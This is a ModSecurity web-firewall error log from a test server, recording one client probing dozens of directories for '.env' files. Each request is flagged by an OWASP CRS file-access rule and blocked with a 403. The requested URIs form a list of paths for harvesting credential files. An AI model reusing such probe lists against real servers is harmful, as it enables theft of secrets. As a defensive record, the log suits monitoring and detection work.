[Thu Feb 26 01:03:06.354160 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlbQAAAAI&quot;]
[Thu Feb 26 01:03:06.354309 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlbQAAAAI&quot;]
[Thu Feb 26 01:03:06.366568 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hotpot-app-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH1AAAAAQ&quot;]
[Thu Feb 26 01:03:06.366801 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH1AAAAAQ&quot;]
[Thu Feb 26 01:03:06.367003 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH1AAAAAQ&quot;]
[Thu Feb 26 01:03:06.403443 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH1QAAAAQ&quot;]
[Thu Feb 26 01:03:06.403712 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH1QAAAAQ&quot;]
[Thu Feb 26 01:03:06.403901 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH1QAAAAQ&quot;]
[Thu Feb 26 01:03:06.429536 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /icon/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlbwAAAAI&quot;]
[Thu Feb 26 01:03:06.429768 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlbwAAAAI&quot;]
[Thu Feb 26 01:03:06.429932 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlbwAAAAI&quot;]
[Thu Feb 26 01:03:06.431035 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH1gAAAAQ&quot;]
[Thu Feb 26 01:03:06.431251 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH1gAAAAQ&quot;]
[Thu Feb 26 01:03:06.431397 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH1gAAAAQ&quot;]
[Thu Feb 26 01:03:06.460449 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /icons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlcAAAAAI&quot;]
[Thu Feb 26 01:03:06.460708 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlcAAAAAI&quot;]
[Thu Feb 26 01:03:06.460878 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlcAAAAAI&quot;]
[Thu Feb 26 01:03:06.466830 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /http/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH1wAAAAQ&quot;]
[Thu Feb 26 01:03:06.467077 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH1wAAAAQ&quot;]
[Thu Feb 26 01:03:06.467237 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH1wAAAAQ&quot;]
[Thu Feb 26 01:03:06.496005 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ikiwiki/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlcQAAAAI&quot;]
[Thu Feb 26 01:03:06.496258 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlcQAAAAI&quot;]
[Thu Feb 26 01:03:06.496418 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlcQAAAAI&quot;]
[Thu Feb 26 01:03:06.511307 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /httpboot/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH2AAAAAQ&quot;]
[Thu Feb 26 01:03:06.511546 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH2AAAAAQ&quot;]
[Thu Feb 26 01:03:06.511721 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH2AAAAAQ&quot;]
[Thu Feb 26 01:03:06.527243 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /image_data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlcgAAAAI&quot;]
[Thu Feb 26 01:03:06.527475 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlcgAAAAI&quot;]
[Thu Feb 26 01:03:06.527629 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlcgAAAAI&quot;]
[Thu Feb 26 01:03:06.552752 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /imagebord/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlcwAAAAI&quot;]
[Thu Feb 26 01:03:06.553010 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlcwAAAAI&quot;]
[Thu Feb 26 01:03:06.553177 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlcwAAAAI&quot;]
[Thu Feb 26 01:03:06.556319 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /httpdocs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH2QAAAAQ&quot;]
